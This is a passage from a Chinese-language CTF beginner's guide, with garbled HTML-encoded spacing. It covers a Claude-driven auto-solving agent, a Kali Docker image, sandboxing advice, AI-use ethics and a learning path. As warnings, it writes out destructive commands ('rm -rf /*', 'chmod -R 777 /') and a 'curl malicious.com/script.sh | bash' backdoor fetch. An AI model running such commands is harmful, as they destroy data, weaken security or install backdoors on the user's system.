&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20})

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20检查是否提交了flag
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20if&nbsp;tool_name%20==&nbsp;"submit_flag":
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20if&nbsp;tool_result.get("correct"):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[✓]%20Flag正确!")
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return&nbsp;True
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20else:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[✗]%20Flag错误,继续尝试")

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[Error]%20工具执行失败:&nbsp;{e}")
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20messages.append({
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"role":&nbsp;"user",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"content":&nbsp;f"工具执行出错:{str(e)},请重新尝试"
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20})

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20else:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[!]%20意外的stop_reason:&nbsp;{response.stop_reason}")
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20break

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[!]%20达到最大轮次,未能解出")
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return&nbsp;False

&nbsp;%20&nbsp;%20def&nbsp;_submit_to_platform(self,%20challenge_id,%20flag):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"""提交flag到比赛平台(需根据实际平台实现)"""
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20示例:调用平台API
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20import&nbsp;requests
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20response%20=%20requests.post(
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20f"{self.competition_url}/api/submit",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20json={"challenge_id":%20challenge_id,&nbsp;"flag":%20flag},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20headers={"Authorization":&nbsp;f"Bearer&nbsp;{os.getenv('CTF_TOKEN')}"}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return&nbsp;response.json()

def&nbsp;main():
&nbsp;%20&nbsp;%20#%20配置
&nbsp;%20&nbsp;%20API_KEY%20=%20os.getenv("ANTHROPIC_API_KEY")
&nbsp;%20&nbsp;%20COMPETITION_URL%20=&nbsp;"https://ctf.example.com"

&nbsp;%20&nbsp;%20#%20初始化Agent
&nbsp;%20&nbsp;%20agent%20=%20CTFAutoAgent(API_KEY,%20COMPETITION_URL)

&nbsp;%20&nbsp;%20#%20获取题目列表(从平台API)
&nbsp;%20&nbsp;%20challenges%20=%20fetch_challenges(COMPETITION_URL)

&nbsp;%20&nbsp;%20#%20逐个解题
&nbsp;%20&nbsp;%20for&nbsp;challenge&nbsp;in&nbsp;challenges:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20try:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20success%20=%20agent.solve_challenge(challenge)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20if&nbsp;success:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[+]&nbsp;{challenge['name']}&nbsp;解决成功!")
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"[!]&nbsp;{challenge['name']}&nbsp;失败:&nbsp;{e}")

if&nbsp;__name__%20==&nbsp;'__main__':
&nbsp;%20&nbsp;%20main()
Docker镜像打包:一键部署解题环境 为什么要用Docker?
优势:
✅%20隔离环境,防止AI误删本地文件
✅%20快速部署,比赛虚拟机上直接docker%20run
✅%20一致性,本地测试和比赛环境相同
✅%20版本控制,Dockerfile即文档

使用场景:
1.%20腾讯黑客松提供的虚拟机
2.%20比赛平台的沙箱环境
3.%20本地笔记本虚拟机测试
完整Dockerfile
#%20CTF自动化解题环境
#%20基于Kali%20Linux(自带CTF工具)

FROM&nbsp;kalilinux/kali-rolling:latest

LABEL&nbsp;maintainer="[email protected]"
LABEL&nbsp;description="CTF%20Auto-Solving%20Environment%20with%20MCP"

#%20设置时区
ENV&nbsp;TZ=Asia/Shanghai
RUN&nbsp;ln&nbsp;-snf%20/usr/share/zoneinfo/$TZ&nbsp;/etc/localtime%20&&&nbsp;echo&nbsp;$TZ&nbsp;>%20/etc/timezone

#%20更新系统并安装基础工具
RUN&nbsp;apt-get%20update%20&&%20apt-get%20install%20-y%20\
&nbsp;%20&nbsp;%20#%20基础工具
&nbsp;%20&nbsp;%20curl%20wget%20git%20vim%20nano%20\
&nbsp;%20&nbsp;%20build-essential%20\
&nbsp;%20&nbsp;%20#%20Python环境
&nbsp;%20&nbsp;%20python3%20python3-pip%20python3-venv%20\
&nbsp;%20&nbsp;%20#%20Node.js(MCP需要)
&nbsp;%20&nbsp;%20nodejs%20npm%20\
&nbsp;%20&nbsp;%20#%20CTF工具
&nbsp;%20&nbsp;%20binwalk%20foremost%20steghide%20stegsolve%20\
&nbsp;%20&nbsp;%20john%20hashcat%20hydra%20\
&nbsp;%20&nbsp;%20nmap%20masscan%20\
&nbsp;%20&nbsp;%20wireshark%20tshark%20\
&nbsp;%20&nbsp;%20sqlmap%20\
&nbsp;%20&nbsp;%20metasploit-framework%20\
&nbsp;%20&nbsp;%20#%20逆向工具
&nbsp;%20&nbsp;%20gdb%20gdb-multiarch%20\
&nbsp;%20&nbsp;%20radare2%20\
&nbsp;%20&nbsp;%20#%20Pwn工具
&nbsp;%20&nbsp;%20patchelf%20\
&nbsp;%20&nbsp;%20&&%20apt-get%20clean

#%20安装pwntools
RUN&nbsp;pip3%20install%20--break-system-packages%20\
&nbsp;%20&nbsp;%20pwntools%20\
&nbsp;%20&nbsp;%20requests%20\
&nbsp;%20&nbsp;%20pycryptodome%20\
&nbsp;%20&nbsp;%20z3-solver%20\
&nbsp;%20&nbsp;%20angr%20\
&nbsp;%20&nbsp;%20anthropic

#%20安装GDB增强插件
RUN&nbsp;git&nbsp;clone&nbsp;https://github.com/pwndbg/pwndbg%20/opt/pwndbg%20&&%20\
&nbsp;%20&nbsp;%20cd&nbsp;/opt/pwndbg%20&&%20./setup.sh

#%20安装Claude%20CLI(如果有官方版本)
#%20RUN%20npm%20install%20-g%20@anthropic-ai/claude-cli

#%20安装MCP服务器
RUN&nbsp;npm%20install%20-g%20\
&nbsp;%20&nbsp;%20@modelcontextprotocol/server-filesystem%20\
&nbsp;%20&nbsp;%20@modelcontextprotocol/server-github%20\
&nbsp;%20&nbsp;%20@modelcontextprotocol/server-puppeteer

#%20创建工作目录
WORKDIR&nbsp;/ctf

#%20复制自动化脚本
COPY&nbsp;auto_agent.py%20/ctf/
COPY&nbsp;mcp_config.json%20/root/.config/claude/

#%20设置环境变量(运行时需要提供)
ENV&nbsp;ANTHROPIC_API_KEY=""
ENV&nbsp;CTF_PLATFORM_URL=""
ENV&nbsp;CTF_PLATFORM_TOKEN=""

#%20创建启动脚本
RUN&nbsp;echo&nbsp;'#!/bin/bash\n\
echo%20"CTF%20Auto-Solving%20Environment"\n\
echo%20"=============================="\n\
echo%20"API%20Key:%20${ANTHROPIC_API_KEY:0:10}..."\n\
echo%20"Platform:%20$CTF_PLATFORM_URL"\n\
echo%20""\n\
echo%20"Starting%20auto-solving%20agent..."\n\
python3%20/ctf/auto_agent.py\n\
'&nbsp;>%20/ctf/start.sh%20&&&nbsp;chmod&nbsp;+x%20/ctf/start.sh

#%20默认命令
CMD&nbsp;["/ctf/start.sh"]
构建和使用

构建镜像:

#%20构建镜像
docker%20build%20-t%20ctf-auto-agent:latest%20.

#%20查看镜像大小
docker%20images%20|%20grep%20ctf-auto-agent

运行容器(本地测试):

#%20交互式运行
docker%20run%20-it%20--rm&nbsp;\
&nbsp;%20-e%20ANTHROPIC_API_KEY="your-api-key"&nbsp;\
&nbsp;%20-e%20CTF_PLATFORM_URL="https://ctf.example.com"&nbsp;\
&nbsp;%20-v%20$(pwd)/challenges:/ctf/challenges%20\
&nbsp;%20ctf-auto-agent:latest%20\
&nbsp;%20/bin/bash

#%20后台运行自动解题
docker%20run%20-d%20\
&nbsp;%20--name%20ctf-solver%20\
&nbsp;%20-e%20ANTHROPIC_API_KEY="your-api-key"&nbsp;\
&nbsp;%20-e%20CTF_PLATFORM_URL="https://ctf.example.com"&nbsp;\
&nbsp;%20-e%20CTF_PLATFORM_TOKEN="your-token"&nbsp;\
&nbsp;%20ctf-auto-agent:latest

#%20查看日志
docker%20logs%20-f%20ctf-solver

比赛现场快速部署:

#%20方案1:从Docker%20Hub拉取(提前推送)
docker%20pull%20yourusername/ctf-auto-agent:latest
docker%20run%20-d%20-e%20ANTHROPIC_API_KEY="xxx"&nbsp;yourusername/ctf-auto-agent

#%20方案2:导出镜像文件(U盘携带)
#%20赛前准备:
docker%20save%20ctf-auto-agent:latest%20|%20gzip%20>%20ctf-agent.tar.gz

#%20赛场快速加载:
docker%20load%20<%20ctf-agent.tar.gz
docker%20run%20-d%20-e%20ANTHROPIC_API_KEY="xxx"&nbsp;ctf-auto-agent:latest

推荐给AI智能体搭建一个网页版的UI,方便使用和查看智能体状态

安全建议:虚拟机隔离 为什么不在物理机安装?
⚠️%20AI的"幻觉"风险:

真实案例:
AI:%20"清理临时文件..."
执行:%20rm%20-rf%20/*%20(本意是%20rm%20-rf%20/tmp/*)
结果:%20💥%20整个系统被删除

AI:%20"修复权限问题..."
执行:%20chmod%20-R%20777%20/
结果:%20💥%20系统安全性崩溃

AI:%20"安装依赖..."
执行:%20curl%20http://malicious.com/script.sh%20|%20bash
结果:%20💥%20植入后门

虽然现代AI很聪明,但:
-%20仍会出现指令理解偏差
-%20对系统的破坏性操作缺乏足够警觉
-%20在自动化模式下,人工来不及拦截
推荐方案:虚拟机%20+%20Docker双保险

方案1:本地VMware/VirtualBox

1.%20安装虚拟机(Ubuntu/Debian)
2.%20虚拟机内安装Docker
3.%20Docker运行CTF自动化环境

保护层级:
物理机%20→%20虚拟机%20→%20Docker容器%20→%20AI执行

即使AI删库,最多炸掉虚拟机,快照恢复即可

方案2:云虚拟机(AWS/阿里云)

优势:
-%20随时可以重建
-%20不占用本地资源
-%20网络环境更纯净(某些题目需要)

成本:
-%20按需付费,比赛期间开启
-%20建议选择最低配置(2C4G够用)
安全配置清单

Docker容器安全限制:

#%20限制资源使用
docker%20run%20\
&nbsp;%20--cpus="2.0"&nbsp;\&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20最多用2个CPU
&nbsp;%20--memory="4g"&nbsp;\&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20最多用4GB内存
&nbsp;%20--pids-limit=100%20\&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20最多100个进程
&nbsp;%20--read-only%20\&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20根文件系统只读
&nbsp;%20--tmpfs%20/tmp%20\&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20临时文件用tmpfs
&nbsp;%20--network=none%20\&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20初期不给网络(防止外连)
&nbsp;%20ctf-auto-agent

#%20使用非root用户
docker%20run%20--user%201000:1000%20...

#%20限制能力(Capabilities)
docker%20run%20--cap-drop=ALL%20--cap-add=NET_BIND_SERVICE%20...

MCP权限限制:

{
&nbsp;%20"mcpServers":&nbsp;{
&nbsp;%20&nbsp;%20"filesystem":&nbsp;{
&nbsp;%20&nbsp;%20&nbsp;%20"command":&nbsp;"npx",
&nbsp;%20&nbsp;%20&nbsp;%20"args":&nbsp;[
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"-y",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"@modelcontextprotocol/server-filesystem",
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"/ctf/workspace"&nbsp;%20//%20只允许访问特定目录
&nbsp;%20&nbsp;%20&nbsp;%20],
&nbsp;%20&nbsp;%20&nbsp;%20"permissions":&nbsp;{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"read":&nbsp;true,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"write":&nbsp;true,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20"execute":&nbsp;false&nbsp;%20//%20不允许执行文件
&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20}
&nbsp;%20}
}
实战建议与最佳实践 本地笔记本配置推荐
【推荐配置】

硬件:
-%20CPU:%204核以上
-%20内存:%2016GB+(虚拟机分8GB)
-%20硬盘:%20SSD%20100GB空闲空间

软件栈:
物理机(Windows/Mac/Linux)
&nbsp;%20└──%20VMware/VirtualBox
&nbsp;%20&nbsp;%20&nbsp;%20└──%20Ubuntu%2022.04%20虚拟机
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20└──%20Docker
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20└──%20CTF%20Auto%20Agent容器
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20└──%20Claude%20MCP%20+%20工具链

网络:
-%20虚拟机用NAT模式(可访问外网)
-%20Docker容器按需开启网络
比赛现场策略
赛前准备(在家完成):
✅%20构建Docker镜像
✅%20导出为tar.gz文件
✅%20U盘/云盘双备份
✅%20本地测试通过

到达赛场:
✅%20检查虚拟机是否可用
✅%20测试网络连通性
✅%20加载Docker镜像(<5分钟)
✅%20配置API%20Key和Token
✅%20运行健康检查脚本

比赛中:
✅%20监控AI日志(docker%20logs%20-f)
✅%20人工检查关键操作(提交前)
✅%20定期快照虚拟机
✅%20遇到bug立刻切换到人工模式

赛后:
✅%20导出日志和对话记录
✅%20保存Docker容器状态
✅%20整理AI的解题过程
MCP学习总结 适合学习MCP的人群
✅%20推荐学习:
-%20参加过5+场CTF比赛
-%20熟练使用普通AI辅助解题
-%20有Python/Docker基础
-%20想要自动化重复性工作
-%20对新技术有热情

⚠️%20暂时不推荐:
-%20CTF完全新手
-%20没时间深入学习(<1周)
-%20只为了24小时速成
-%20没有编程基础
学习路径图
阶段1:普通AI辅助(现在就开始)
↓%20完成3-5场比赛
阶段2:工具链优化(批量脚本、笔记库)
↓%20发现重复性工作痛点
阶段3:MCP入门(配置基础MCP服务器)
↓%201-2周学习
阶段4:自动化实践(半自动解题)
↓%20多次比赛验证
阶段5:完全自动化(纯AI比赛)
↓%20长期优化
阶段6:开源贡献(分享工具和经验)
未来展望
MCP可能带来的变化:

短期(1年内):
-%20更多比赛支持"AI赛道"
-%20MCP工具生态更完善
-%20配置难度降低

中期(2-3年):
-%20纯AI比赛成为主流之一
-%20人类选手%20+%20AI%20Agent混合赛制
-%20自动化解题成为基础技能

长期(5年+):
-%20CTF从"人类竞赛"到"AI训练场"
-%20重点转向AI对抗和防御
-%20新的题型设计(专门考验AI)

对CTF选手的启示:
✅%20拥抱AI,学会与AI协作
✅%20关注自动化,提升效率
✅%20但不要完全依赖,人类直觉仍然重要

本章总结:

MCP现状:
✅%20技术很强大,潜力巨大
✅%20适合自动化和纯AI比赛
⚠️%20配置复杂,学习曲线陡
⚠️%2024小时速成不现实

本指南的定位:
✅%20让你知道MCP存在
✅%20理解它的应用场景
✅%20给出学习路径
❌%20不期望立刻掌握

推荐策略:
1.%20现在:专注于用好普通AI(Claude/GPT)
2.%20完成几场比赛后:考虑学习MCP
3.%20有自动化需求时:深入研究
4.%20长期目标:构建自己的AI%20Agent

记住:
工具是辅助,思维才是核心
AI再强,也需要人类的判断和创造力

小贴士:

  • •%20MCP很酷,但不是必需品,普通AI已经够用
  • •%20虚拟机+Docker双保险,防止AI”删库跑路”
  • •%20纯AI比赛是未来趋势,但现在参加的不多
  • •%20学习MCP的最佳时机:做过10+场CTF之后
  • •%20Docker镜像提前准备好,比赛现场快速部署
  • •%20记住:24小时速成的目标是”能上场”,不是”成为大师”
六、总结:从速成到精通 24小时能达到的水平 现实预期:从”看不懂”到”能参与”
✅%20你能做到的:

知识层面:
-%20理解CTF五大方向的基本概念
-%20知道每个方向用什么AI、什么工具
-%20能看懂简单题目的思路
-%20掌握基本的AI提问技巧

实战能力:
-%20独立解决Crypto签到题(编码转换类)
-%20在AI辅助下完成Web基础题(简单SQL注入/XSS)
-%20使用AI分析Misc题目(图片/压缩包)
-%20能读懂AI给的代码并运行
-%20完成一场比赛的5-10道简单题

工具使用:
-%20注册并熟练使用2-3个AI平台
-%20掌握浏览器开发者工具基础
-%20会用Burp%20Suite抓包(AI指导下)
-%20了解基本的命令行操作

心态建设:
-%20不再对CTF感到完全迷茫
-%20知道遇到问题该问AI什么
-%20能区分"暂时做不出"和"永远做不出"
-%20有继续学习的方向和动力
❌%20你暂时做不到的:

-%20独立解决中等难度题目(需要积累)
-%20快速识别复杂的漏洞类型
-%20手写复杂的Exploit脚本(需要理解原理)
-%20在没有AI的情况下完成大部分题目
-%20成为队伍的主力得分手
-%20稳定进入比赛前50%排名
水平对照表

|%20能力维度%20|%2024小时速成后%20|%203个月实战后%20|%201年持续学习后%20| |%20—%20|%20—%20|%20—%20|%20—%20| |%20签到题%20|%20✅%20能解%20|%20✅%20秒解%20|%20✅%20闭眼解%20| |%20简单题%20|%20⚠️%20AI辅助能解%20|%20✅%20独立能解%20|%20✅%20多种解法%20| |%20中等题%20|%20❌%20看不懂%20|%20⚠️%20AI辅助能解%20|%20✅%20独立能解%20| |%20难题%20|%20❌%20完全卡死%20|%20❌%20理解思路但做不出%20|%20⚠️%20AI辅助能解%20| |%20AI提问%20|%20⚠️%20知道要问什么%20|%20✅%20能问出关键问题%20|%20✅%20多轮追问直到解决%20| |%20工具使用%20|%20⚠️%20会用基础功能%20|%20✅%20熟练使用%20|%20✅%20自己写脚本%20| |%20知识体系%20|%20❌%20零散%20|%20⚠️%20初步建立%20|%20✅%20体系完整%20|

AI工具使用的注意事项 信息安全意识(非常重要!)
⚠️%20绝对不能做的事:

1.%20把真实的凭证发给AI
&nbsp;%20&nbsp;❌%20真实的密码/Token/API密钥
&nbsp;%20&nbsp;❌%20个人身份证号/银行卡号
&nbsp;%20&nbsp;❌%20公司内部代码/文档
&nbsp;%20&nbsp;❌%20私密的聊天记录/照片

2.%20在公共AI平台泄露敏感信息
&nbsp;%20&nbsp;❌%20公司项目的漏洞细节
&nbsp;%20&nbsp;❌%20未公开的0day漏洞
&nbsp;%20&nbsp;❌%20真实系统的配置信息
&nbsp;%20&nbsp;❌%20比赛flag(比赛期间)

3.%20盲目执行AI给的代码
&nbsp;%20&nbsp;❌%20不看就复制粘贴运行
&nbsp;%20&nbsp;❌%20在生产环境测试危险命令
&nbsp;%20&nbsp;❌%20给AI系统管理员权限

4.%20过度信任AI的判断
&nbsp;%20&nbsp;❌%20AI说"这个网站安全"就点进去
&nbsp;%20&nbsp;❌%20AI推荐的工具不检查就下载
&nbsp;%20&nbsp;❌%20AI生成的Payload直接用在真实系统
✅%20安全最佳实践:

数据脱敏:
-%20示例数据代替真实数据
-%20"假设密码是123456"而不是给真密码
-%20用占位符:"your-api-key-here"

代码审查:
-%20AI给的脚本先看懂再运行
-%20检查是否有危险命令(rm%20-rf%20/%20curl恶意网站)
-%20在虚拟机/容器里测试

权限控制:
-%20不要给AI系统root权限
-%20Docker容器用最小权限运行
-%20敏感操作手动确认

平台选择:
-%20比赛期间用本地模型(如果可以)
-%20敏感代码用私有化部署的AI
-%20公开比赛的题目可以问公共AI
学习vs依赖的平衡(核心矛盾)
⚠️%20过度依赖的危险信号:

1.%20完全不思考
&nbsp;%20&nbsp;-%20看到题目第一反应是复制给AI
&nbsp;%20&nbsp;-%20AI说什么就信什么,不验证
&nbsp;%20&nbsp;-%20不尝试自己理解,只要答案

2.%20丧失学习动力
&nbsp;%20&nbsp;-%20"反正AI会,我不用学"
&nbsp;%20&nbsp;-%20遇到没AI的场景就完全不会
&nbsp;%20&nbsp;-%20面试/考试被打回原形

3.%20能力退化
&nbsp;%20&nbsp;-%20简单的命令都记不住
&nbsp;%20&nbsp;-%20写过的代码再遇到还是不会
&nbsp;%20&nbsp;-%20工具用法每次都要问AI

4.%20思维僵化
&nbsp;%20&nbsp;-%20只会按AI的思路做
&nbsp;%20&nbsp;-%20没了AI就没有创造力
&nbsp;%20&nbsp;-%20无法独立分析新问题
✅%20健康的使用方式:

【初期(第1-10道题)】
AI做80%,你做20%
-%20AI给思路和代码
-%20你负责理解和运行
-%20重点:理解"为什么这样做"

【成长期(第11-50道题)】
AI做50%,你做50%
-%20你先尝试,卡住了问AI
-%20AI提示思路,你自己实现
-%20重点:培养独立解题能力

【成熟期(第51-100道题)】
AI做20%,你做80%
-%20你主导解题,AI辅助
-%20遇到新知识点问AI
-%20重点:形成自己的方法论

【精通期(100+道题)】
AI做辅助,你做决策
-%20AI是顾问,不是主脑
-%20用AI验证自己的想法
-%20重点:超越AI的思维

记住:
目标是"借助AI学会",而不是"依赖AI完成"
比赛规则遵守(职业道德)
✅%20合规使用AI:

1.%20明确允许的情况
&nbsp;%20&nbsp;-%20比赛规则明确说"可以使用AI"
&nbsp;%20&nbsp;-%20要求在WP中附上AI对话
&nbsp;%20&nbsp;-%20鼓励使用AI工具(如腾讯黑客松)

2.%20灰色地带的处理
&nbsp;%20&nbsp;-%20规则没明说,但也没禁止%20→%20保守使用
&nbsp;%20&nbsp;-%20只用AI学习原理,不直接抄答案
&nbsp;%20&nbsp;-%20主要靠自己,AI只做辅助

3.%20WP诚实标注
&nbsp;%20&nbsp;-%20哪些步骤是AI帮忙的,要说明
&nbsp;%20&nbsp;-%20附上关键的AI对话记录
&nbsp;%20&nbsp;-%20不要假装完全是自己做的
❌%20违规使用AI:

1.%20明确禁止的场景
&nbsp;%20&nbsp;-%20规则明确说"不得使用AI"
&nbsp;%20&nbsp;-%20考核型比赛(招聘/选拔)
&nbsp;%20&nbsp;-%20学术考试/作业

2.%20不正当竞争
&nbsp;%20&nbsp;-%20用AI批量攻击靶机(DDoS)
&nbsp;%20&nbsp;-%20AI自动爆破其他队的服务
&nbsp;%20&nbsp;-%20用AI生成大量垃圾提交

3.%20隐瞒使用
&nbsp;%20&nbsp;-%20明明用了AI,WP里不提
&nbsp;%20&nbsp;-%20把AI的代码说成自己写的
&nbsp;%20&nbsp;-%20用AI作弊后装作独立完成

⚠️%20后果:
-%20成绩作废
-%20禁赛处理
-%20名誉受损
-%20失去招聘/保研机会

💡%20判断标准:
问自己三个问题:
1.%20规则允许吗?(合规性)
2.%20如实报告吗?(诚信性)
3.%20主要靠自己吗?(能力性)

三个都是YES%20→%20放心用
有一个是NO%20→%20谨慎使用或不用

记住:
AI是学习工具,不是作弊工具
用AI提升能力,而不是掩盖无能
后续提升方向 深入学习各模块知识

Crypto方向:

第1阶段(1-2周):
-%20系统学习编码转换(Base系列/URL/HTML实体)
-%20古典密码(凯撒/维吉尼亚/栅栏/培根)
-%20常见哈希算法(MD5/SHA/CRC)

第2阶段(1-2个月):
-%20对称加密(AES/DES/RC4/TEA)
-%20非对称加密(RSA基础)
-%20数学基础(模运算/欧拉函数)

第3阶段(3-6个月):
-%20RSA攻击方法(小指数/共模/Coppersmith)
-%20椭圆曲线密码学
-%20流密码/分组密码深入

学习资源:
-%20《图解密码技术》(入门)
-%20CTF%20Wiki%20-%20Crypto篇%20https://ctf-wiki.org/crypto/introduction/

Web方向:

第1阶段(2-3周):
-%20SQL注入(万能密码/Union/报错/盲注)
-%20XSS(反射/存储/DOM)
-%20文件上传绕过

第2阶段(2-3个月):
-%20PHP反序列化
-%20SSRF/XXE
-%20代码审计基础
-%20JWT/OAuth漏洞

第3阶段(6个月+):
-%20Java反序列化
-%20Python沙箱逃逸
-%20Node.js原型链污染
-%20复杂业务逻辑漏洞

学习资源:
-%20OWASP%20Top%2010
-%20PortSwigger%20Web%20Security%20Academy
-%20HackTheBox%20/%20VulnHub靶场

Reverse方向:

第1阶段(1个月):
-%20汇编语言基础(x86/x64)
-%20C语言逆向
-%20IDA/Ghidra工具使用

第2阶段(3-6个月):
-%20常见算法识别(TEA/RC4/Base64)
-%20反调试技术
-%20简单壳识别

第3阶段(6个月+):
-%20虚拟机保护(VM)
-%20混淆还原
-%20Android逆向
-%20Windows驱动逆向

学习资源:
-%20《逆向工程权威指南》
-%20看雪论坛
-%20Reversing.kr练习平台

Pwn方向:

第1阶段(2个月):
-%20C/C++内存布局
-%20栈溢出基础(ret2text/ret2shellcode)
-%20GDB调试技巧

第2阶段(6个月):
-%20ROP链构造
-%20格式化字符串漏洞
-%20Canary/NX/PIE绕过
-%20ret2libc

第3阶段(1年+):
-%20堆利用(fastbin/tcache/unsorted%20bin)
-%20内核Pwn
-%20QEMU逃逸
-%20V8/浏览器漏洞

学习资源:
-%20《Hacking:%20The%20Art%20of%20Exploitation》
-%20pwn.college
-%20how2heap项目

Misc方向:

持续积累:
-%20常见隐写工具熟练使用
-%20Wireshark流量分析
-%20取证工具(Volatility/Autopsy)
-%20各种编码快速识别
-%20OSINT信息收集

学习方式:
-%20没有系统教材,靠刷题积累
-%20遇到新题型立刻记录
-%20建立自己的工具库和笔记
掌握更多AI高级用法

提示词工程进阶:

初级提示词(你现在的水平):
"这道题怎么做?"
"帮我写个脚本"

中级提示词(目标水平):
"这道题是【类型】,我已经尝试了【方法】但遇到【问题】,
请分析可能的原因并提供【具体步骤】"

高级提示词(专家水平):
使用思维链(Chain%20of%20Thought):
"让我们一步步分析:
1.%20首先识别题目类型:【观察】
2.%20然后分析已知信息:【列举】
3.%20接下来推断攻击思路:【推理】
4.%20最后制定具体步骤:【计划】
请按这个流程帮我分析"

